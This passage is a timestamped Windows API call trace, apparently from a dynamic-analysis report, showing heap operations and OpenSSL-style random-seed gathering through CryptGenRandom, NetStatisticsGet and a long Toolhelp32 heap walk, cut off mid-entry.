RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x24) returned 0x3470230 [0124.498] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x158) returned 0x840a88 [0124.498] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x840a88, Size=0x218) returned 0x3ae4bf0 [0124.498] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x558) returned 0x3ae4e10 [0124.498] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34d55d8 | out: hHeap=0x810000) returned 1 [0124.498] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34d5608 | out: hHeap=0x810000) returned 1 [0124.498] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34d55f0 | out: hHeap=0x810000) returned 1 [0124.498] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3470230 | out: hHeap=0x810000) returned 1 [0124.498] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae4e10 | out: hHeap=0x810000) returned 1 [0124.498] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0xc) returned 0x34d55f0 [0124.498] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x8) returned 0x33f0228 [0124.498] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x10) returned 0x34d5608 [0124.498] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x18) returned 0x34640d0 [0124.498] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x9) returned 0x34d55d8 [0124.498] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x8) returned 0x33f0218 [0124.498] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x10e) returned 0x347b558 [0124.498] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450318 [0124.499] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x58) returned 0x345a048 [0124.499] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x14) returned 0x3464110 [0124.499] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x104) returned 0x34680c8 [0124.499] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x14) returned 0x3464150 [0124.499] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x4) returned 0x33f0238 [0124.499] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x347b558 | out: hHeap=0x810000) returned 1 [0124.499] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34d5608 | out: hHeap=0x810000) returned 1 [0124.499] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x33f0218 | out: hHeap=0x810000) returned 1 [0124.499] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34d55d8 | out: hHeap=0x810000) returned 1 [0124.499] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34640d0 | out: hHeap=0x810000) returned 1 [0124.499] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x33f0228 | out: hHeap=0x810000) returned 1 [0124.499] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34d55f0 | out: hHeap=0x810000) returned 1 [0124.499] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450318 | out: hHeap=0x810000) returned 1 [0124.499] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3459fe8 | out: hHeap=0x810000) returned 1 [0124.499] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae4bf0 | out: hHeap=0x810000) returned 1 [0124.499] GetCurrentThreadId () returned 0x134 [0124.499] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x190) returned 0x34dfe50 [0124.499] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x60) returned 0x8ed4c0 [0124.499] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x40) returned 0x34397f8 [0124.499] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0xc) returned 0x34d55f0 [0124.499] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x100) returned 0x347b558 [0124.499] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x82) returned 0x873890 [0124.499] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x2c) returned 0x3470f20 [0124.499] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x80) returned 0x866fb0 [0124.499] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x148) returned 0x348c4b8 [0124.499] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x4) returned 0x33f0228 [0124.499] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x4) returned 0x33f0218 [0124.499] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x100) returned 0x342d478 [0124.499] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0124.499] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0124.499] GetCurrentThreadId () returned 0x134 [0124.499] GetVersionExA (in: lpVersionInformation=0x3dcf380*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x48, dwMinorVersion=0x3dcf3a8, dwBuildNumber=0x420cab, dwPlatformId=0x0, szCSDVersion="þBE") | out: lpVersionInformation=0x3dcf380*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0124.499] LoadLibraryA (lpLibFileName="ADVAPI32.DLL") returned 0x77600000 [0124.500] LoadLibraryA (lpLibFileName="KERNEL32.DLL") returned 0x76fe0000 [0124.500] LoadLibraryA (lpLibFileName="NETAPI32.DLL") returned 0x74dd0000 [0124.662] GetProcAddress (hModule=0x74dd0000, lpProcName="NetStatisticsGet") returned 0x74dd644f [0124.662] GetProcAddress (hModule=0x74dd0000, lpProcName="NetApiBufferFree") returned 0x74e013d2 [0124.662] NetStatisticsGet (in: ServerName=0x0, Service=0x4f6c18, Level=0x0, Options=0x0, Buffer=0x3dcf02c | out: Buffer=0x3dcf02c) returned 0x0 [0124.663] GetCurrentThreadId () returned 0x134 [0124.664] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0124.664] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0124.664] NetApiBufferFree (Buffer=0x3414878) returned 0x0 [0124.664] NetStatisticsGet (in: ServerName=0x0, Service=0x4f6c3c, Level=0x0, Options=0x0, Buffer=0x3dcf02c | out: Buffer=0x3dcf02c) returned 0x0 [0124.665] GetCurrentThreadId () returned 0x134 [0124.665] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0124.665] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0124.665] NetApiBufferFree (Buffer=0x3459fe8) returned 0x0 [0124.665] FreeLibrary (hLibModule=0x74dd0000) returned 1 [0124.667] GetProcAddress (hModule=0x77600000, lpProcName="CryptAcquireContextW") returned 0x7760df14 [0124.667] GetProcAddress (hModule=0x77600000, lpProcName="CryptGenRandom") returned 0x7760dfc8 [0124.667] GetProcAddress (hModule=0x77600000, lpProcName="CryptReleaseContext") returned 0x7760e124 [0124.667] CryptAcquireContextW (in: phProv=0x3dcf018, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3dcf018*=0x866f28) returned 1 [0124.668] CryptGenRandom (in: hProv=0x866f28, dwLen=0x40, pbBuffer=0x3dcf464 | out: pbBuffer=0x3dcf464) returned 1 [0124.668] GetCurrentThreadId () returned 0x134 [0124.668] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0124.668] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0124.668] CryptReleaseContext (hProv=0x866f28, dwFlags=0x0) returned 1 [0124.668] CryptAcquireContextW (in: phProv=0x3dcf018, szContainer=0x0, szProvider="Intel Hardware Cryptographic Service Provider", dwProvType=0x16, dwFlags=0x0 | out: phProv=0x3dcf018*=0x866f28) returned 0 [0124.668] FreeLibrary (hLibModule=0x77600000) returned 1 [0124.668] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0124.669] GetProcAddress (hModule=0x400000, lpProcName="_OPENSSL_isservice") returned 0x0 [0124.669] GetDesktopWindow () returned 0x10010 [0124.669] GetProcessWindowStation () returned 0x5c [0124.669] GetUserObjectInformationW (in: hObj=0x5c, nIndex=2, pvInfo=0x0, nLength=0x0, lpnLengthNeeded=0x3dcefa0 | out: pvInfo=0x0, lpnLengthNeeded=0x3dcefa0) returned 0 [0124.669] GetLastError () returned 0x7a [0124.669] GetUserObjectInformationW (in: hObj=0x5c, nIndex=2, pvInfo=0x3dcef80, nLength=0x10, lpnLengthNeeded=0x3dcefa0 | out: pvInfo=0x3dcef80, lpnLengthNeeded=0x3dcefa0) returned 1 [0124.669] LoadLibraryA (lpLibFileName="USER32.DLL") returned 0x76850000 [0124.669] GetProcAddress (hModule=0x76850000, lpProcName="GetForegroundWindow") returned 0x76872320 [0124.669] GetProcAddress (hModule=0x76850000, lpProcName="GetCursorInfo") returned 0x768c812f [0124.670] GetProcAddress (hModule=0x76850000, lpProcName="GetQueueStatus") returned 0x76873924 [0124.670] GetForegroundWindow () returned 0x10058 [0124.670] GetCurrentThreadId () returned 0x134 [0124.670] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0124.670] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0124.670] GetCursorInfo (in: pci=0x3dcf450 | out: pci=0x3dcf450) returned 1 [0124.670] GetQueueStatus (flags=0xbf) returned 0x0 [0124.670] GetCurrentThreadId () returned 0x134 [0124.670] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0124.670] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0124.670] FreeLibrary (hLibModule=0x76850000) returned 1 [0124.670] GetProcAddress (hModule=0x76fe0000, lpProcName="CreateToolhelp32Snapshot") returned 0x7701735f [0124.670] GetProcAddress (hModule=0x76fe0000, lpProcName="CloseToolhelp32Snapshot") returned 0x0 [0124.670] GetProcAddress (hModule=0x76fe0000, lpProcName="Heap32First") returned 0x77075763 [0124.671] GetProcAddress (hModule=0x76fe0000, lpProcName="Heap32Next") returned 0x7707594e [0124.671] GetProcAddress (hModule=0x76fe0000, lpProcName="Heap32ListFirst") returned 0x77075621 [0124.671] GetProcAddress (hModule=0x76fe0000, lpProcName="Heap32ListNext") returned 0x770756cb [0124.671] GetProcAddress (hModule=0x76fe0000, lpProcName="Process32First") returned 0x77018ae7 [0124.671] GetProcAddress (hModule=0x76fe0000, lpProcName="Process32Next") returned 0x770188a4 [0124.672] GetProcAddress (hModule=0x76fe0000, lpProcName="Thread32First") returned 0x77075b93 [0124.672] GetProcAddress (hModule=0x76fe0000, lpProcName="Thread32Next") returned 0x77075c3f [0124.672] GetProcAddress (hModule=0x76fe0000, lpProcName="Module32First") returned 0x77075cd9 [0124.672] GetProcAddress (hModule=0x76fe0000, lpProcName="Module32Next") returned 0x77075dc2 [0124.672] CreateToolhelp32Snapshot (dwFlags=0xf, th32ProcessID=0x0) returned 0x628 [0124.679] GetTickCount () returned 0x113449f [0124.679] Heap32ListFirst (hSnapshot=0x628, lphl=0x3dcf454) returned 1 [0124.680] GetCurrentThreadId () returned 0x134 [0124.680] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0124.680] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0124.680] Heap32First (lphe=0x3dcefc0, th32ProcessID=0x56c, th32HeapID=0x810000) returned 1 [0124.697] GetCurrentThreadId () returned 0x134 [0124.697] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0124.697] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0124.697] Heap32Next (lphe=0x3dcefc0) returned 1 [0124.713] GetTickCount () returned 0x11344be [0124.713] GetCurrentThreadId () returned 0x134 [0124.713] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0124.713] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0124.713] Heap32Next (lphe=0x3dcefc0) returned 1 [0124.729] GetTickCount () returned 0x11344ce [0124.729] GetCurrentThreadId () returned 0x134 [0124.729] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0124.729] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0124.729] Heap32Next (lphe=0x3dcefc0) returned 1 [0124.745] GetTickCount () returned 0x11344dd [0124.745] GetCurrentThreadId () returned 0x134 [0124.745] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0124.745] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0124.745] Heap32Next (lphe=0x3dcefc0) returned 1 [0124.761] GetTickCount () returned 0x11344ed [0124.761] GetCurrentThreadId () returned 0x134 [0124.761] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0124.761] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0124.761] Heap32Next (lphe=0x3dcefc0) returned 1 [0124.778] GetTickCount () returned 0x11344fd [0124.778] GetCurrentThreadId () returned 0x134 [0124.778] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0124.778] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0124.778] Heap32Next (lphe=0x3dcefc0) returned 1 [0124.794] GetTickCount () returned 0x113450c [0124.794] GetCurrentThreadId () returned 0x134 [0124.794] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0124.794] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0124.794] Heap32Next (lphe=0x3dcefc0) returned 1 [0124.810] GetTickCount () returned 0x113451c [0124.810] GetCurrentThreadId () returned 0x134 [0124.810] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0124.810] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0124.810] Heap32Next (lphe=0x3dcefc0) returned 1 [0124.826] GetTickCount () returned 0x113452b [0124.826] GetCurrentThreadId () returned 0x134 [0124.826] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0124.826] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0124.826] Heap32Next (lphe=0x3dcefc0) returned 1 [0124.842] GetTickCount () returned 0x113453b [0124.842] GetCurrentThreadId () returned 0x134 [0124.842] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0124.842] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0124.842] Heap32Next (lphe=0x3dcefc0) returned 1 [0124.858] GetTickCount () returned 0x113454b [0124.858] GetCurrentThreadId () returned 0x134 [0124.858] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0124.858] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0124.858] Heap32Next (lphe=0x3dcefc0) returned 1 [0124.873] GetTickCount () returned 0x113455a [0124.873] GetCurrentThreadId () returned 0x134 [0124.873] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0124.873] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0124.873] Heap32Next (lphe=0x3dcefc0) returned 1 [0124.890] GetTickCount () returned 0x1134579 [0124.890] GetCurrentThreadId () returned 0x134 [0124.890] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0124.890] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0124.890] Heap32Next (lphe=0x3dcefc0) returned 1 [0124.906] GetTickCount () returned 0x1134589 [0124.906] GetCurrentThreadId () returned 0x134 [0124.906] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0124.906] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0124.906] Heap32Next (lphe=0x3dcefc0) returned 1 [0124.921] GetTickCount () returned 0x1134599 [0124.921] GetCurrentThreadId () returned 0x134 [0124.921] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0124.921] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0124.921] Heap32Next (lphe=0x3dcefc0) returned 1 [0124.937] GetTickCount () returned 0x11345a8 [0124.937] GetCurrentThreadId () returned 0x134 [0124.937] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0124.937] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0124.937] Heap32Next (lphe=0x3dcefc0) returned 1 [0124.952] GetTickCount () returned 0x11345b8 [0124.952] GetCurrentThreadId () returned 0x134 [0124.952] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0124.952] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0124.952] Heap32Next (lphe=0x3dcefc0) returned 1 [0124.968] GetTickCount () returned 0x11345c7 [0124.968] GetCurrentThreadId () returned 0x134 [0124.968] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0124.968] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0124.968] Heap32Next (lphe=0x3dcefc0) returned 1 [0124.983] GetTickCount () returned 0x11345d7 [0124.983] GetCurrentThreadId () returned 0x134 [0124.983] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0124.983] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0124.983] Heap32Next (lphe=0x3dcefc0) returned 1 [0125.000] GetTickCount () returned 0x11345e7 [0125.000] GetCurrentThreadId () returned 0x134 [0125.000] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.000] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.000] Heap32Next (lphe=0x3dcefc0) returned 1 [0125.016] GetTickCount () returned 0x11345f6 [0125.016] GetCurrentThreadId () returned 0x134 [0125.016] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.016] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.016] Heap32Next (lphe=0x3dcefc0) returned 1 [0125.031] GetTickCount () returned 0x1134606 [0125.031] GetCurrentThreadId () returned 0x134 [0125.031] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.031] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.031] Heap32Next (lphe=0x3dcefc0) returned 1 [0125.046] GetTickCount () returned 0x1134615 [0125.046] GetCurrentThreadId () returned 0x134 [0125.047] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.047] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.047] Heap32Next (lphe=0x3dcefc0) returned 1 [0125.062] GetTickCount () returned 0x1134625 [0125.062] GetCurrentThreadId () returned 0x134 [0125.062] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.062] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.062] Heap32Next (lphe=0x3dcefc0) returned 1 [0125.077] GetTickCount () returned 0x1134635 [0125.077] GetCurrentThreadId () returned 0x134 [0125.077] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.077] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.077] Heap32Next (lphe=0x3dcefc0) returned 1 [0125.092] GetTickCount () returned 0x1134644 [0125.092] GetCurrentThreadId () returned 0x134 [0125.092] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.092] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.093] Heap32Next (lphe=0x3dcefc0) returned 1 [0125.108] GetTickCount () returned 0x1134654 [0125.108] GetCurrentThreadId () returned 0x134 [0125.108] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.108] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.108] Heap32Next (lphe=0x3dcefc0) returned 1 [0125.123] GetTickCount () returned 0x1134654 [0125.123] GetCurrentThreadId () returned 0x134 [0125.123] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.123] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.123] Heap32Next (lphe=0x3dcefc0) returned 1 [0125.138] GetTickCount () returned 0x1134663 [0125.138] GetCurrentThreadId () returned 0x134 [0125.138] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.138] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.138] Heap32Next (lphe=0x3dcefc0) returned 1 [0125.154] GetTickCount () returned 0x1134673 [0125.154] GetCurrentThreadId () returned 0x134 [0125.154] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.154] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.154] Heap32Next (lphe=0x3dcefc0) returned 1 [0125.170] GetTickCount () returned 0x1134683 [0125.170] GetCurrentThreadId () returned 0x134 [0125.170] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.170] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.170] Heap32Next (lphe=0x3dcefc0) returned 1 [0125.195] GetTickCount () returned 0x11346a2 [0125.195] GetCurrentThreadId () returned 0x134 [0125.195] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.195] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.195] Heap32Next (lphe=0x3dcefc0) returned 1 [0125.210] GetTickCount () returned 0x11346b1 [0125.210] GetCurrentThreadId () returned 0x134 [0125.211] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.211] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.211] Heap32Next (lphe=0x3dcefc0) returned 1 [0125.226] GetTickCount () returned 0x11346c1 [0125.226] GetCurrentThreadId () returned 0x134 [0125.226] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.226] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.226] Heap32Next (lphe=0x3dcefc0) returned 1 [0125.241] GetTickCount () returned 0x11346d1 [0125.241] GetCurrentThreadId () returned 0x134 [0125.241] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.241] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.241] Heap32Next (lphe=0x3dcefc0) returned 1 [0125.256] GetTickCount () returned 0x11346e0 [0125.257] GetCurrentThreadId () returned 0x134 [0125.257] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.257] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.257] Heap32Next (lphe=0x3dcefc0) returned 1 [0125.272] GetTickCount () returned 0x11346f0 [0125.272] GetCurrentThreadId () returned 0x134 [0125.272] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.272] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.272] Heap32Next (lphe=0x3dcefc0) returned 1 [0125.287] GetTickCount () returned 0x11346ff [0125.287] GetCurrentThreadId () returned 0x134 [0125.287] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.287] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.287] Heap32Next (lphe=0x3dcefc0) returned 1 [0125.303] GetTickCount () returned 0x113470f [0125.303] GetCurrentThreadId () returned 0x134 [0125.303] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.303] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.303] Heap32Next (lphe=0x3dcefc0) returned 1 [0125.319] GetTickCount () returned 0x113471f [0125.319] GetCurrentThreadId () returned 0x134 [0125.319] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.319] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.319] Heap32Next (lphe=0x3dcefc0) returned 1 [0125.335] GetTickCount () returned 0x113472e [0125.335] GetCurrentThreadId () returned 0x134 [0125.335] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.335] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.335] Heap32Next (lphe=0x3dcefc0) returned 1 [0125.350] GetTickCount () returned 0x113473e [0125.350] GetCurrentThreadId () returned 0x134 [0125.350] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.350] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.350] Heap32Next (lphe=0x3dcefc0) returned 1 [0125.366] GetTickCount () returned 0x113474d [0125.366] GetCurrentThreadId () returned 0x134 [0125.366] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.366] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.366] Heap32Next (lphe=0x3dcefc0) returned 1 [0125.381] GetTickCount () returned 0x113475d [0125.381] GetCurrentThreadId () returned 0x134 [0125.381] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.381] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: hHeap=0x810000) returned 1 [0125.381] Heap32Next (lphe=0x3dcefc0) returned 1 [0125.396] GetTickCount () returned 0x113476d [0125.396] GetCurrentThreadId () returned 0x134 [0125.397] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x64) returned 0x8f0358 [0125.397] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8f0358 | out: 